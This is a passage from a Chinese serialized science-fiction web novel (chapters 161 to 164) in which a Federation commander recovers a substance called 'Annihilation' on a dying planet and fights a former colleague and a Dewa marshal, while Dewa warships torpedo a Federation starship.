莱克尔人转过来，惊讶之色溢于言表：“又有一艘不明星舰，擦着我们就朝玛特-Z1飞了过去！它也正在隐身状态，我们看不到它的具体信息！” 佩珀少校略一挑眉：“也是联邦的？” “……不。”莱克尔人咽了咽唾沫，艰难道，“从残留的量子数据来看……是德瓦战舰。” 舰桥所有人都是一惊！ 佩珀少校的表情凝固了，她双手快速地在悬浮屏上操作着，哪怕一直显示通讯信号过弱信息无法传送，她也一直在尝试！ “裴少将，有两艘不明星舰正在接近玛特-Z1！” “我们无法判断其具体身份，只能确认一艘为联邦小型星舰，另一艘是德瓦战舰。” “来人身份不确定，阵营不确定，种族不确定，目的也不明，还请千万注意！” “裴少将？能听到吗？” “裴少将？！” …… 洛河星系，7号星外 一艘最大的德瓦战舰舰桥上，舰桥的门打开，一个身材高大的覆面人走了进来，一见到他，舰桥的所有德瓦人都立刻起立，朝他行礼，胸口锤得砰砰响。 “参见幕僚长大人！帝国万岁！” “参见幕僚长大人！帝国万岁！” “参见幕僚长大人！帝国万岁！” 覆面人抬手回礼，他的大副见他前来，立马从舰长椅上站起来，恭敬地退到一旁。 他缓缓坐在了舰长席上，慢慢开口：“进度如何？” 大副在一旁垂首汇报：“回幕僚长大人，7号星那边已经在陆续准备相位穿梭蓟梨草了，联邦洛河星系护卫军这里还没有什么动静。” “没有动静……呵呵。” 覆面人的短促的笑声里听不出任何情绪：“悬空号早就已经到了，你们都没发现。” 舰桥上所有德瓦人都是悚然一惊！ 大副更是瞠目结舌，白色眼睛都瞪大了：“您、您是说——” 他转头去骂战术官：“废物！悬空号那么明显的能量波动你们都没发觉！” 战术官深深低头，同时还在仪表盘上再次确认，实在是没招了，什么办法都试过了，就是扫描不出悬空号的存在，只能硬着头皮道：“是我的错！但……监测仪中确实没有扫描到悬空号的踪迹……” 覆面人抬了抬手，战术官立刻宛如被掐了脖子一样闭嘴。 “哼，”他从鼻腔里发出了一丝笑声，战术官偷眼去看他，不知是不是自己的错觉，他感觉他似乎从幕僚长的语气里听出了一丝骄傲，“要是他能被你发觉了踪迹，怎么还称得上是第三军团之刃，怎么还会是闻铮呢。” 战术官有些摸不到头脑，但也不敢多说话，只能把头深深的埋下去装聋作哑。 覆面人双手打开，悬浮屏从他手掌心跳跃而出，一个坐标跃然而上。 他把坐标扔给了战术官，战术官立马干活，在武器系统内输入了该坐标，放大了那个区域。 在深空之中，那里一片空白，什么都没有。 覆面人冷冷地瞥了战术官一眼，人高马大的德瓦军官冷汗都流了下来，双手在面板上飞快地操作，把浑身解数看家的本领都使了出来，才勉强捕捉到了坐标处的一丝细微能量波动！ 他瞪大了眼睛，出口的话都快破音了：“在这里！真的在这里！” 大副也站直了，立刻朝他这边走了过来，神色紧张：“你确定？！” 战术官立刻把量子痕迹数据和对比结果拿了出来：“这里绝对有一艘隐形状态的巨型战舰！并且按照量子痕迹来看，绝对是联邦的战舰！” 覆面人微微眯了眯眼，他又确认了一次：“洛河星系护卫军的星舰数量有没有变动？” 战术官副官查询了一番，转身低头回话：“报告幕僚长，数量没有变动！” 大副低声命令：“启动二十发光子鱼雷对准悬空号，等待命令！” “是！” “等等。” 覆面人盯着舰桥主屏幕上那块看似空无一物的深空，眼底闪烁的不知是什么，也许是自傲，也许是快意，似乎还有一丝怅然，只是最后都消失在了合眼之间。 “六十发，我要悬空号及其中的所有人，包括闻铮，一击毙命。”《 》 160-170 第161章 发射 德瓦战术官将六十发光子鱼雷对准了覆面人给过来的坐标, 他的手悬在了发射按钮上，激动得那只手都在轻微的颤动。 他即将、即将毁灭悬空号！甚至击杀位于其中的第三军团之刃！ 这是多么至高无上的荣耀！！ 但也不知道是不是他的错觉，他的手悬在悬浮屏上已经有些酸了, 却还没收到来自幕僚长的最终指令。 他偷眼去看, 带着覆面的高大男人竟然从座位上站了起来，盯着主屏幕上放大的那块深空, 似乎是陷入了什么思绪，久久未曾开口。 战术官又去看大副, 看到大副也是微微皱眉，似乎想说什么又不敢说, 舰桥上一度陷入焦灼。 他的脑海里倏地闪过一个念头——他们的幕僚长，不会……反悔了吧？ 否则对第三军团之刃的击杀近在咫尺, 哪个德瓦士兵会犹豫？！ 要知道, 闻铮这个名字, 是挂在德瓦哨兵全军击杀榜上的第一位, 谁杀了他, 谁就是下一个冉冉升起的哨兵之星！ 只是他再怎么心急如焚，借他十个胆子, 他也不敢出言催促幕僚长，只能憋得双眼通红！ 大副的喉头滚动了一下, 踏前一步凑近覆面人，低声恭敬道：“幕僚长大人，悬空号已经在我们掌握之中，是否需要活捉闻铮？” 覆面人似乎没有听到他说话。 大副只得硬着头皮又说了一遍：“幕僚长大人，我们的武器已经准备好了，只等您的命令！” 覆面人似乎这才从恍惚中醒过来，最后看了一眼那处虚空, 右手不经意地攥成了拳。 “……发射。” 战术官颤抖着手按下了悬浮屏上的发射按钮！ 下一秒，火光冲天！ 那看似什么都没有的虚空之处，瞬间被逼出了一艘联邦星舰！而在一秒都不到的时间里，就被六十发光子鱼雷轰成了残垣碎屑！ 覆面人注视着那已经尸骨无存的悬空号，心头闪过一丝刺痛，就一丝，只一秒，宛如针扎一下，倏而就不见了。 …… 舰体受到了极为猛烈的冲击！ 凯利斯眉头紧皱，立刻报告：“舰长，防护罩下降32%！” 闻铮坐在舰长席上，面色如常，沉稳冷静：“通知轮机室把备用能源转移22%给防护罩，注意重心偏移和关键部位损耗。” “怀哲，开启全舰广播。” 楼怀哲立刻按响了全舰范围内的广播通讯，下一秒闻铮的声音清楚地在整艘巨型战舰中响起：“全舰注意，我们即将迎来数十波震动，请就近做好防冲撞准备。” “轮机室，防护罩维修机器人准备，在冲击波停止后立刻进行维修，维修速率开到最大。” “……” 闻铮给出了一系列命令，悬空号全体舰组人员在看似永不停歇的冲击波中也没有丝毫慌乱，他们知道、并且从心底相信，他们的舰长和上将，会带领他们逃脱险境，获得胜利！ 而闻铮，他坐在舰长席上，感受着舰身受到的强烈冲击，眼前不断飘过星舰的残垣和碎屑，几不可闻地叹了口气。 哪怕他再不愿相信，也不得不相信。 这一盘棋，这一局，原来布了这么久。 而他自己，从出生那一刻起，竟然就成了一颗深陷其中，不由自主的棋子。 …… 玛特星系，玛特-Z1星 在靠近了坐标点之后，他们都关闭了机甲。外部环境非常适合生存，机甲还是先关闭进行自主维修比较好。 越靠近坐标点，裴简珩越惊讶。 在这样一颗死星中，竟然有最后的一块生命之地，如此繁荣昌盛，如此生生不息，又如此的……怪离诡谲。 ’Annihilation’到底是怎样的物质，为什么在毁灭之余，还能重生？ 而在他们又穿过了一小块沼泽和树林之后，终于看到了坐标点所在——一块深陷于地面的防护力场，在防护力场之中，有一小块物质，正在散发着柔和的、令人心生依赖和向往的光。 阿诺上尉盯着那块物质，眼神有些迷离，几乎失态地向前走去，就在他即将越过领头的裴简珩的时候，被他的长官一把抓住了胳膊！ 裴简珩很用力，痛得阿诺上尉闷哼一声，竟从那种迷离恍惚的状态中清醒了过来。 他有些疑惑地低头看了看抓着自己小臂的手，又回头看了看，顿觉毛骨悚然！ 他的动线理应在队伍的最后，什么时候竟然走到了队伍的最前面？而他、而他甚至对自己做了什么一无所知！ 裴简珩注意到了阿诺上尉惊慌迷茫的眼神，轻轻拍了拍他的小臂以示安慰，放开后往前踏了一步，沉声道：“所有人两两一组，务必保证头脑清醒，服从命令。” 他把目光转向那块散发着柔和之光的物质，顿觉心跳如擂。 这就是……’Annihilation’……吗？ 这个物质的获得，会如此轻易吗？ 裴简珩心头千回百转，按了按手腕内的机甲按钮，从其中浮现出一个银色的透明装置，那是出发前艾德莱斯五星上将给他的，经过联邦最高科学家团队紧急研发出，可以隔绝’Annihilation’能量的防护罩。 他心思一动，和他100%融合的机甲就瞬间把他从指尖护卫到手肘，那机甲也是被镀上了同种防护材料。 裴简珩凑近’Annihilation’，伸手轻轻地把它从中心凹槽处拿了出来，放进了防护罩之中。 他听到身后的李珂轻轻松了口气。 但不知为何，裴简珩心头却猛地一跳，突然感到汗毛直立，他远远超于常人的四倍听力捕捉到了一丝不同寻常的风声，这让他下意识地向左歪了歪头。 就在下一秒，一束相位光束从他的右脸侧倏地闪过，溶掉了裴简珩尚未完全躲开的几根发丝。 其余六人反应极快，立刻端起了相位枪朝向发射的来源坐标！ 而在来源之处，也有十几个带着覆面的人，为首的人影身材修长，覆面把他的容貌盖得严严实实，只有一双棕色的眼睛分外清晰。 裴简珩缓缓转身，一米九几的身材让他可以居高临下地俯视所有人，包括为首的棕眼覆面人。 他眼底闪过一丝冷意，缓缓道：“……段洄。” 对面的棕眼覆面人一时之间没有做出任何反应，半晌后才默不作声地拉下覆面，随手扔到一旁，莞尔一笑：“好久不见，裴简珩。” …… 在整个星球最后的生命之所，竟然有丝丝的和煦微风。 一阵柔软的风吹来，吹动不知名树木的叶子漱漱作响。 段洄一把覆面摘下来，以李珂为首的其余六人都是大吃一惊，甚至阿诺上尉还失声叫了一句：“……段少将！” 裴简珩是他们这个组织的一把手，段洄是、或者说曾经是二把手，或多或少都带过这几个人，如今这个对峙的局面，确实让他们这些军官有些尴尬。 “你应该在联邦军部监禁处等待军事法庭开庭，”裴简珩眯起眼，“为什么会出现在这里。” 段洄的语调甚至有几分轻快：“我越狱咯。” 所有人：“……” 就连裴简珩一时之间都有些无言。 “算了，我也不问你们来这里做什么了，”段洄耸了耸肩，他朝裴简珩伸出手，手心向上，“把我的东西给我就行，我拿到了就走，不耽误你们在这儿春游。” “你的东西？” 裴简珩微微一笑，眼底却没有丝毫笑意：“说清楚一点，什么东西是你的？” “明知故问啊。”段洄说，“’Annihilation’都在你手里了，你以为我瞎了看不到？” “这上面可没写你的名字，一颗死星上的无名资源，当然是先到先得。”裴简珩抬眼看他，湛蓝色的眼睛里冷厉之色越发明显，“除非你告诉我，这一小管东西，是你毁灭了六颗行星得到的。” 段洄：“……” 他一时无言，眉宇间闪过一丝阴霾：“四个月不见，裴简珩，你什么时候说话也这么不中听了？” “……哦对，我都给忘了，你这段时间可是呆在闻铮身边，他那张嘴可是军部上上下下都出名的，看来是他把你带坏了。” 裴简珩眼都不眨，抬手就朝段洄开了一枪，相位光束朝着段洄的胸口去的，若不是他躲得开，现在早就躺地上了。 段洄又惊又怒，那种游刃有余的状态也不见了：“裴简珩！你对我动手？！” 裴简珩的神色冷得像他手里那把相位枪：“我们是前同事，你现在还是越狱的联邦逃犯、挑起第三次星际战争的背叛者，我为什么不能对你动手？” 他又是一枪示威性地打在了段洄的脚边：“让开。” 段洄凝视着脚边那束缓缓消散的光束，轻轻叹了口气。 “我不想和你动手，但我必须要拿回’Annihilation’。”段洄的眼底浮现出一丝挣扎，很快消隐无踪，“德瓦帝国必须从宇宙间消失，裴简珩，你内心深处知道我是对的！” “如果没有他们，你怎么会经历这么多痛苦？” “如果没有他们，怎么会有这么多战争，怎么会死这么多人？” “如果没有他们，这个宇宙间只会变得更好！” 第162章 好自为之 段洄越说越激动, 那张苍白的脸色都浮现了血色，他甚至上前了几步，试图说服裴简珩。 李珂和莉莉丝对视了一眼, 这是他们第一次见到段上将这种失态的模样, 着实有些惊讶。 裴简珩若有似无地瞥了他们一眼，两个人立刻心领神会。 他看向眼前激动的段洄, 把已经被装进防护罩球体’Annihilation’上下抛了抛，就像是在把玩一颗小球, 漫不经心，导致段洄的目光都聚集在那颗小东西上, 随着他的动作一上一下。 “你能鼓捣出’Annihilation’这种东西出来，我确实是很佩服。”裴简珩淡淡道, “如果你们把这项技术或这些晶体上交给军部, 成为联邦最后的储备武器, 等到德瓦帝国什么时候率先进攻之时, 不见得你们的目的就一定不会达成。” “但段洄, 你和段和华上将为了彻底毁灭德瓦帝国而费尽心思挑起第三次星际战争……”裴简珩机甲手臂倏地握紧了’Annihilation’球体，一字一顿, “你知道多少生命会在你毁了德瓦母星之前死去吗？！” “连带伤害！裴简珩，这是连带伤害！” 段洄怒吼：“你为什么就是不懂！任何事情都有代价, 没有代价和牺牲怎么可能获得最终的成功！” “什么是代价？” “什么是牺牲？” “什么是成功？” 这次，步步紧逼掷地有声的人变成了裴简珩。四倍S级的基因战士面色冷肃，那双湛蓝色的眼睛不再是温和美丽的海平面，而变成了汹涌怒涛的大海。 “谁来决定这些，你吗？” 段洄和裴简珩虽然深交不多，但因为艾德莱斯与段和华的渊源也认识了这么多年，第一次见到一向温文尔雅文质彬彬的他如此疾言厉色的模样, 一时之间竟然也无法反驳，甚至被他的气势逼退了一步！ 裴简珩也不想与他再多说什么，他看向段洄的眼睛里满是失望，眨眼间，他敛去了所有情绪，只是淡淡地又重复了一遍：“让开。” 段洄垂着眼，让所有人都看不清他的脸。 他就横在裴简珩的身前，一步都没动。 半晌，他抬了抬手，灰黑色的机甲瞬间爬上了他的身躯！ “已经到了这个时候，我不允许失败。”段洄的声音经过机甲的扩音而显得有些失真，“我必须要拿到’Annihilation’，德瓦母星也必须毁灭！” 在他对面，裴简珩也一言不发地打开了机甲，银白色的机械表面泛着冷冷的光。 “唰——” 微小到几不可闻的声音在这里齐刷刷的响起，这两位少将的动作给各自的下属传递了信号，二十几具机甲瞬间互为对峙之势！ 也不知道是哪方先开的火，眨眼间，这片生命之地已经被相位光束充满！ …… 洛河星系，7号星外 最大的德瓦主战舰上，通讯官在接收到某个通讯后，低头报告：“幕僚长大人！7号星发来通讯，蓟梨草已经准备好，现在申请向各星舰进行相位穿梭！” 覆面人对他微一颔首：“批准。” 通讯官立刻发出了审批。 他白色的眼瞳盯着那三十六艘战舰的的相位穿梭进度，在进度到21%的时候卡住了一瞬，但就在一秒之后又恢复正常，他也没有多加留意。 过了一会儿，他兴奋地汇报：“报告幕僚长大人！三十六艘战舰的蓟梨草都已经就位！”？？ 终于……终于！ 覆面人深深地喟叹出一口气。 他这么多年来的筹谋，这么多年来的忍辱负重和虚与委蛇，终于在此刻得到了最后胜利的果实！ 德瓦帝国的荣光，已知宇宙间的主宰…… 一切的一切，都将成为最伟大的复兴！! 德瓦通讯官试图联系已经相位穿梭完成的那三十六艘德瓦战舰，却并没有立刻被接听。 他皱了皱眉，耐着性子又发起了一次通讯请求。 这次被接听了，只是信号似乎不是很好，所有的画面都影影绰绰看不真切，音频倒是还可以，能依稀听到确认的回复。 另一边战术官还在叫他确认一项操作，他也就没再纠结，连忙投入了另外一件事情之中。 悬浮屏的右下角，1/36块屏幕正在闪烁，画面忽隐忽现，但根本没有被看到，直到1分钟后彻底变暗。 一切又归于平静。 德瓦通讯官瞥了一眼屏幕，和覆面人汇报：“幕僚长大人，36艘承载蓟梨草的星舰已经按照设定好的飞回母星，按照计划，20个小时后，它们会带着制作完毕的基因退化物质重回战场！” 覆面人颔首，眼底闪过一丝倨傲。 闻铮啊闻铮，可惜了，你见不到你的联邦，在伟大的德瓦帝国脚下臣服的一幕了。 …… 二十几具机甲在玛特-Z1这颗星球最后的生命之地打的不可开交，相位光束像是不要钱一样砸在地上，再这么打下去，这一小块森林也即将被人为毁灭。 段洄在灰黑色的战甲里咬牙，他知道裴简珩是基因改造战士，旁人可能不清楚，但他和段家的地位和资源让他想知道什么都变得很容易，尤其是对裴简珩相关的事情。 所以他也很了解裴简珩的能力五维图。 寻常S级Alpha在五维图中各项能力最高也就是60分，段洄自己是70分，已经是傲视群雄的高了，要知道就算是艾德莱斯上将，也就只有78分！ 裴简珩在此前做过能力五维图，每一项都在85-90之间。当年他从UNK-322被救出来以后，在机密范围之内被送入了检测室，结果出来的时候所有人都倒吸一口冷气。 要知道，这种五维图满分的设置就不是为了让人达到的，它只是作为一个参考区间存在，区间越高，高一分更是有如天堑！而裴简珩……他能在精神力、战斗力、共情力、服从性、感知力等五个维度直接冲到90分，这简直、这简直是天方夜谭！ 也因此，在这项结果出来之后，联邦主席和军部高层商议之下，让裴简珩坐了现在这个位置，甚至是空降到段洄头上的。 一把锐不可当的刀，锋利、无敌、所向披靡，却唯独不能被世人所知。 还有比他更适合做机密情报组织首领的吗？ 段洄挡下了裴简珩的一记横踢，机甲和他85%精神力融合，那一脚仿佛踢在他的肚子上，让他忍不住痛哼一声，冷汗涔涔而下。 他咬着牙，愤怒又怨恨地想。 裴简珩——为什么？！ 明明他刚加入的时候，带着他熟悉一切的是他，引领他磨合一切的是他，看着他一步步成长的人都是他段洄！从什么时候开始，他们两个开始渐行渐远？又从什么时候开始，他们两个已经被不同政见支配，以至于互相根本无法再理解对方？ 为什么？！ 为什么你就是不理解我？！ 机甲把浑身上下都包裹的严严实实，只留眼睛前是透明的材质，让段洄能看见裴简珩那双冷冰冰又毫无波澜的湛蓝色眼睛。 那么漂亮，却又那么冰冷，好像自己在他眼里，和德瓦人也没有什么分别。 他根本打不过裴简珩，更不可能从他手里把’Annihilation’抢回来。 在被踩住胸口从高空压到地面的时候，段洄就已经认了。 再打下去，也没有任何意义了。 机甲轰然倒地，那一片的小草都被压得东倒西歪，靠近机甲武器的那一块更是被相位能量灼伤得光秃一片。 段洄倒在地上，最后说了一句：“……裴简珩，你赢了。” 这六个字仿佛一句指令，段洄带来的人也都停下了动作。 裴简珩居高临下地看着他，半晌松开了他，转而和佩珀少校联系：“凌风号，找机会把我们相位穿梭回去。” 佩珀少校的声音时有时无：“裴少将……信号……延迟……” 裴简珩微一思索，在八人频道内下令：“所有人跟我穿过冰晶风暴带，佩珀少校会在合适的时机把我们一一传送回凌风号。” 段洄躺在地上，仰望着他，吃吃笑了：“裴简珩，你知道德瓦帝国在私下里做了什么吗？这一战联邦未必会赢，你不让我做完我要做的事，死的人只会更多！” 裴简珩垂眼瞥他：“原本就不应该在此刻交战，不管死了多少人，都算在你们段家头上。更何况，联邦会赢的，不用你们这些手段，联邦也会赢的。” 段洄被他说的一噎，转而带了几分讽刺：“怎么赢？靠你的闻大上将？” 裴简珩一顿，眉头微蹙。 “裴简珩，我和你认识了二十几年，共事了四年，共经生死了四年！”段洄恨恨地说，他再也没有一贯的游刃有余和嬉皮笑脸，只剩下痴恨和不忿，“你为什么宁可相信闻铮，都不肯相信我才是对的？！” “你从什么时候开始，就不再信任我了？！” 裴简珩脸上浮现出了一丝嘲讽之意，只是转瞬即逝，就连段洄都恍惚间觉得是不是自己眼花，裴简珩一向宽和温柔，怎么会出现这种刻薄冰冷的神情？！ 裴简珩说：“从我意识到你的心思开始。” “……” 段洄大震！ 他就那么躺在地上，甚至一句话都说不出来。 裴简珩最后瞥了一眼躺在地上的那具灰黑色机甲，只淡淡道：“段洄，你好自为之。”—— 作者有话说：老段你……（指指点点 第163章 ……裴简珩！！！ 在失去了’Annihilation’之后, 玛特-Z1最后的生命之地也显示出衰败的迹象，树木一株一株枯萎，不适宜生存的风暴带进一步蚕食, 在他们拿着’Annihilation’离开以后, 这颗星球就会彻底地陷入衰竭。 裴简珩没再看躺在地上的段洄，他没有损伤机甲的生命维持系统和武器系统, 他知道段洄和他带来的人有办法离开，就看他们到底要不要选择放弃。 可不放弃又能怎样？ 裴简珩把那块物质融进了自己机甲的隔绝层里, 湛蓝的眼底闪过一丝冷光。 谁都别想从他手里抢东西。 裴简珩看了一下时间，率先驾驶机甲离开了地面, 准备穿越冰晶风暴带，佩珀少校会密切关注他们, 只要信号满足条件, 她就会立刻把他们相位穿梭回凌风号。 就在裴简珩即将飞离风暴眼的时候, 一束极为强大的行为光束蓦地从风暴之中激射而出！ 裴简珩瞳孔猛缩, 他身随心动, 机甲就像他自己身体一样，在空中猛地翻转, 勉强避开了那束相位光束！ 他在频道里厉声道：“小心！！” 其他几人也看到了这束相位光束！机甲立刻给出了光谱分析，这个光束甚至是最高级别的毁灭模式！ 但看到了, 不一定就躲得开。 他们和机甲的融合没有那么契合，很难完全躲开，随着阿诺上尉的一声怒吼，机甲3号和里面的亚伦中尉被那束甚至能拐弯的相位光束在眨眼之间进行了量子毁灭！ 裴简珩在半空中缓缓站直，他凝视着一秒钟之前亚伦中尉还在的坐标，那里现在只剩下了一片虚空，和逸散的量子痕迹。 亚伦中尉加入他手下没有很久, 年轻气盛，但能力很强，他还很看好这个年轻的伦纳克人。 只是就在刚才，一秒钟都不到的时间里，就这样再也不存在了。 裴简珩咬紧了牙关，他转身看向了冰晶风暴之中，在一次狂风呼啸过后，隐匿在其背后的黑红色重型机甲缓缓现身。 所有人都倒吸了一口冷气！ 李珂低声道：“裴少将！这是——” “德瓦哨兵1军，”裴简珩淡淡道，“这是他们的机甲。” 在黑红色机甲的胸口处，刻着哨兵1军的军徽。 七个人严阵以待，在领头的那具重型机甲之后，还跟着十几个德瓦哨兵机甲！ 哨兵1军…… 裴简珩沉了脸色。 果不其然，下一秒，德瓦语从黑红色的重型机甲中飘了出来：“把你们手里的东西给我。” 这个声音，裴简珩很熟悉。 在UNK-322潜伏的时候，闻铮披着的那具德瓦人的黑皮，就是这个声线。 裴简珩飞到了其余几个人的最前方，缓缓道：“……奥克斯.奴瓦辛戈，德瓦哨兵大元帅。” …… “哈哈！” 嘶哑难听的声音在这片空间里响起，裴简珩能通过机甲面具的透明处看到那双淡到几乎是一片白的眼睛。 “我查了这么久，终于让我见到联邦最机密情报处的一把手了。” 奥克斯·奴瓦辛戈眯了眯眼，淡色到近乎诡谲的眼瞳里划过一丝兴味：“看来你就是1215那个神秘的统领了，不把机甲头盔拿掉我们聊一聊吗？” 说完，还没等裴简珩回答，他倒是先一步把自己的机甲头盔隐掉了，那张让人憎恶的刻薄寡毒的面容展露无遗。 这里的氧气还没完全被吞噬殆尽，起码在二十分钟之内，不戴机甲头盔也还能正常呼吸。 裴简珩没有动。 奥克斯·奴瓦辛戈歪了歪头，饶有兴味：“怎么，不肯让我看到你的真面目？没关系，等我杀了你，我会亲自把你的机甲面罩摘开，看看你这张脸到底有什么好藏着掖着的。” 裴简珩还是没说话。 奥克斯·奴瓦辛戈有一种一拳打在棉花上的感觉，这让他脸上挂着的嘲讽笑意在沉默中越来越绷不住，脸色也难看了起来。 半晌，就在奥克斯·奴瓦辛戈已经控制不住要动手的时候，裴简珩动了。 他淡淡道：“联邦星际军部少将，裴简珩。” 奥克斯·奴瓦辛戈眉心微微一动，他对这个名字没什么印象，好像不在德瓦帝国重点监控的联邦军官名单之上。 但这个声音……怎么会有点莫名其妙的熟悉？ “当然，你也可能更熟悉我的另一个称呼。” 裴简珩把自己机甲头盔隐去，那张俊美无俦棱角分明的脸赫然出现在所有人面前，而奥克斯·奴瓦辛戈，他在看到这张脸的下一刻就瞪大了眼睛，震惊之色溢于言表！ 裴简珩道：“毕竟我曾经是你UNK-322实验基地里最成功的实验品379，不是吗？” …… “哈哈哈哈哈哈哈哈哈！” 奥克斯·奴瓦辛戈仰天大笑，好像听到了什么惊天笑料一样，等他笑完了，一瞬间脸上又闪过了一丝阴郁之色：“原来联邦最机密情报处1215的一把手，竟然是由我这个德瓦帝国的元帅成就的，你们联邦难道不应该对我说声谢谢吗？” “奥克斯·奴瓦辛戈，德瓦帝国的大元帅阁下。”裴简珩语气带了几分轻佻，他的语气越温和、越古井无波，就越让奥克斯·奴瓦辛戈咬牙切齿，“你费劲心机，倾注了这么多心血、用无数人类、艾尼默人、甚至是你们自己德瓦人的生命去实验基因战士的可能性，到了最后，最成功的样本回到了联邦，为联邦擒获了无数你们德瓦哨兵的情报。” “确实要对你道谢，当然要对你道谢。”裴简珩轻声说，“多谢你为联邦花了这么多心思，也多谢你亲手把这些德瓦帝国的情报交到联邦的手上。” ……裴简珩！！！ 听到他的这番话，奥克斯·奴瓦辛戈那张寡毒的面容几乎扭曲了起来！ 这个人看似温和，实则每句话都绵里藏针，不但把奥克斯·奴瓦辛戈的讽刺怼了回来，甚至还变本加厉地往他的痛脚之上踩！ 你做了这么多事，杀了这么多人，到底为了什么？ 从中获益最大的，似乎不是德瓦帝国呢。 莉莉丝上尉别开脸，忍不住唇角泄露出一丝笑意。 怎么感觉裴少将休假四个月回来以后，嘴皮子功夫见长啊，骂人不带脏字却字字见血，看样子不像是情报组织的统领，更应该入职联邦外交部做发言人。 “看来机能强化，都强在你这张嘴上了。”奥克斯·奴瓦辛戈冷笑一声，“四年前就应该把你扔进实验垃圾池销毁。” “死了那么多人才成功了我一个，”裴简珩挑眉，“我要是死了，元帅阁下，你这么多年可就是白干了。” 奥克斯·奴瓦辛戈：“……” 他似乎再也不想和裴简珩斗嘴，机甲凌空，就朝裴简珩俯冲而来！ 他一动，背后其余的德瓦哨兵机甲也都闻声而动！ 德瓦哨兵是1215这些人的几乎两倍，并且从机能来看，应该也都是经过基因改造的基因战士，虽然没有裴简珩那么逆天的强，但也不容小觑！饶是1215他们都是人中翘楚，一人对战两个也打得十分艰难。 李珂咬着牙轰开了一个德瓦哨兵，听到机甲报警后下意识地往右一闪，躲开了另一个德瓦哨兵的攻击，但机甲后腰处仍然被刮伤，痛得他面容扭曲了一瞬。 这些德瓦哨兵比他们之前遇到过的确实强了很多！而且似乎没有什么自主思维，不知伤痛，就知道打打打，哪怕缺胳膊少腿，也要打到完全动不了才肯停歇！ 他一边打，一边心下发冷。 如果德瓦哨兵有更多更多这样的所谓基因战士呢？ 如果他们有这样一整个军队呢？！ 那联邦……那直面他们的联邦军部，要打的多么艰难，要牺牲多少人，才能换来胜利？ 真的还能……胜利吗？ 李珂一分神，就听见机甲内传来了滴滴滴的警报声，在他的三点钟方向有一束相位光束正在袭来！ 从射程和速度来看，李珂很难躲开！ 他咬着牙，就在已经准备硬扛这一下的时候，蓦地，另一束相位光束从他身后射出，与之在半空中强行对撞，产生的激荡冲击波几乎把这附近二百米的机甲都掀翻了！ 李珂愕然地转身看去，一句灰黑色的机甲漂浮在他身后。 ——段洄！ 李珂脱口而出：“段少将？！” 段洄召唤机甲从地面飘上了半空，他带来的私兵也都紧随他其后，在他一个抬手之间，就纷纷投入了战场，1215的对战压力顿时大大减轻！ 他凝视着在更高的高空之中打得你来我往，激烈到无可复加的黑红色机甲与银灰色机甲，眼神晦暗难明。 主和派也好，主战派也罢。 段家也好，艾德莱斯一派也罢。 这都是联邦内部的纷争。 而无论如何，’Annihilation’决不能落入奥克斯·奴瓦辛戈和德瓦帝国的手里！ 段洄抬起手，又将机甲的武器舱对准了德瓦基因改造哨兵，猛地开火。 他们是为了毁灭德瓦母星，永久地毁灭这个种族，还宇宙间一个平静。 但如果’Annihilation’和这项技术落在了德瓦帝国的手里…… 联邦就此，不复存在！ 第164章 你得杀了他 洛河星系, 7号星外 黑压压的德瓦哨兵星舰依然压在7号星外的太空里，银白色的联邦星舰与之相比确实式微，哪怕陆陆续续空间迁跃走了36艘德瓦战舰, 局面也不会有决定性的反转。 在最中心被层层保护的一艘德瓦战舰里, 舰桥上所有人都默不作声，只有机器和人工智能的声音。 半晌, 坐在舰长席上的覆面人才漫不经心地问道：“蓟梨草什么动态了？” 德瓦通讯官立刻向承载着蓟梨草的36艘战舰中的领头战舰发去通讯，半分钟后就收到了回复, 是德瓦哨兵的密语。 他解析了密语之后恭敬地回禀覆面人：“禀告幕僚长大人，36艘战舰已经抵达实验基地, 实验室正在以最大效率进行和B-356物质的融合，预估在六个小时后返程, 再两小时后抵达战场。” 覆面人颔首, 很满意。 一切都在按照他的计划进行。 他似乎想到了什么, 又问：“7号星的军事布防有什么异样吗？” 德瓦战术官盯住了屏幕, 那里是7号星的军事分布热力图, 已经好几天没有变过了。 他摇头：“禀告幕僚长大人，7号星没有任何军事变动, 看来那个人类叛徒很听话。” 覆面人从鼻子里轻轻地哼了一声。 提到这个，德瓦大副也走了过来, 轻声问：“幕僚长大人，您真的要把7号星交给一个人类管理吗？哪怕他是您的傀儡，似乎也不太令人放心——” “交给他？怎么可能。” 覆面人哈哈笑了一声：“他只是我的一条狗，7号星最珍贵的珍宝已经到我手里了，这一整颗星球都没有任何存在的意义了。” 他把那张黑压压的面具转向了战术官，声音听上去甚至有几分轻快：“等到第三军团正式军到来以后，在释放基因退化物质的同时, 对准7号星几个重要坐标进行光子鱼雷轰炸。” “这颗落后又贫瘠的星球，”他轻轻地咂了咂舌，“联邦既然把它从我们手里夺了过去，那它就是帝国荣誉的毁灭者，没有任何存在的价值！” 在他轻飘飘的三言两语间，一颗满载着不同物种的生命星，就这样被他决定了命运。 “至于林瑜淞……”他的笑声有些嘶哑，“他是人类的叛徒，放在我手里养着也足够打联邦的脸，就让他去管流放星好了。” 舰桥上几个德瓦人军官都笑出了声，低头恭敬：“是！幕僚长大人！” 覆面人又把视线移向了主屏幕，上面的7号星还在安静地缓慢自转，足够漂亮，但他能透过这颗淡蓝色的星球看到在未来的十几个小时后满目疮痍的惨状。 没办法。 谁让你的主人，这么快就让我得到了我想要的宝物呢。 …… 玛特-Z1星，一群人倒是打的天昏地暗。 高模式的相位光束不要钱一样地到处乱飞，从高空打到地面，又从地面打到高空。 段洄和他私兵的加入确实减轻了1215很大的压力，以至于段洄甚至能有余力前去帮裴简珩。 只是裴简珩拒绝了。 面对灰黑色机甲的接近，裴简珩只是平静地在公共频道里说了两个字：“让开。” 段洄立刻凝滞在了半空中。 裴简珩不是自傲，也不是逞强，他是要亲手得到一个完结！ 他的痛苦，他的迷茫，他失去的战友和同胞，还有闻铮身上背负的那些仇恨和刻骨之痛……他需要一个结果，他知道闻铮也需要一个结果。 奥克斯·奴瓦辛戈确实不愧是德瓦帝国最年轻的大元帅，他的身手也是相当的好，再加上德瓦人天生体质就比人类更适合战斗，在分化进入德瓦哨兵军队后体能又会进一步增强，这让他甚至能和四倍机能的裴简珩打的不分伯仲。 裴简珩一手挡住奥克斯·奴瓦辛戈的一脚横踢，转身一跃而起，一拳击中黑红色机甲的胸口，他把机甲的协同力开到最大，相应的共感力也必须一并开到最大，所以他能发挥出自己和机甲最大的威力，而代价是，每一个对机甲的伤害，裴简珩都能感受到那种剧烈的痛。 但他知道，奥克斯·奴瓦辛戈只会比他更痛。 他硬抗了这些痛，只为了能发挥最强的战力，让奥克斯·奴瓦辛戈尝到十倍、百倍的代价！ 